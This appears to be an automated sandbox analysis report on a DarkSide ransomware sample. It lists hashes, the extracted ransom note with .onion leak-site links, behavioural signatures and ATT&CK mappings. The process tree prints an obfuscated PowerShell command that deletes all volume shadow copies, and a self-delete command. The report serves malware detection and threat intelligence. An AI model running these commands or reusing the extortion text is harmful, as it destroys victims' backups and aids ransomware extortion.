Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    27-01-2024 19:37

General

  • Target

    17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

  • Size

    59KB

  • MD5

    cfcfb68901ffe513e9f0d76b17d02f96

  • SHA1

    766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f

  • SHA256

    17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61

  • SHA512

    0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c

  • SSDEEP

    768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Malware Config

Extracted

Path

C:\Users\Admin\README.c05ced76.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (189) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
    "C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2840
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\17139A~1.EXE >> NUL
      2⤵
      • Deletes itself
      PID:3268
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1936

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Credential Access

Unsecured Credentials

1
T1552

Credentials In Files

1
T1552.001

Discovery

System Information Discovery

1
T1082

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    344B

    MD5

    e5fd282455baa843c5320a487a2061b8

    SHA1

    63c16ba0cc279ad75bb721694242f1eb23c406b6

    SHA256

    570a77b13fe74284434b92a24cf2d7813cb165267ce68f8c2565f465eeb74b53

    SHA512

    323616e83d2ecdac4ca1ee42b2d76c626011c86feb3a73f2a71c309cf76e918edaf425e183d9270f4ffa4ab8ce1fb95fe82464daead95c1ba36a1fffb938da6a

  • C:\Users\Admin\AppData\Local\Temp\Cab2290.tmp
    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\Local\Temp\Tar6DC6.tmp
    Filesize

    171KB

    MD5

    9c0c641c06238516f27941aa1166d427

    SHA1

    64cd549fb8cf014fcd9312aa7a5b023847b6c977

    SHA256

    4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

    SHA512

    936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    06e1c7af97e8e5f0a0aaddcbab124e5f

    SHA1

    d6773191ba8d01ae0ff93769d25a1533a725f3dc

    SHA256

    7fef0a1974e52a826a59d182e4728e26976ab6890e1c5c961399abcc1ec7dedd

    SHA512

    886cab0adadc166934bf406ba4d8a7dfa43a5ed4cd51f0f32886e7614bb815fe2b0dc309711166acde69c6d24d8695ca6c9cd0e490de0763fb737ef50de50611

  • C:\Users\Admin\README.c05ced76.TXT
    Filesize

    3KB

    MD5

    b58e2411168bbdbec635cf4001635db0

    SHA1

    c130cd9caaaa514a6b98c1168e10d44a989d191a

    SHA256

    652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

    SHA512

    87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

  • memory/2840-27-0x0000000002E10000-0x0000000002E90000-memory.dmp
    Filesize

    512KB

  • memory/2840-28-0x0000000002E10000-0x0000000002E90000-memory.dmp
    Filesize

    512KB

  • memory/2840-26-0x0000000002E10000-0x0000000002E90000-memory.dmp
    Filesize

    512KB

  • memory/2840-25-0x000007FEF46C0000-0x000007FEF505D000-memory.dmp
    Filesize

    9.6MB

  • memory/2840-29-0x000007FEF46C0000-0x000007FEF505D000-memory.dmp
    Filesize

    9.6MB

  • memory/2840-23-0x000007FEF46C0000-0x000007FEF505D000-memory.dmp
    Filesize

    9.6MB

  • memory/2840-24-0x0000000002E10000-0x0000000002E90000-memory.dmp
    Filesize

    512KB

  • memory/2840-22-0x00000000027F0000-0x00000000027F8000-memory.dmp
    Filesize

    32KB

  • memory/2840-21-0x000000001B560000-0x000000001B842000-memory.dmp
    Filesize

    2.9MB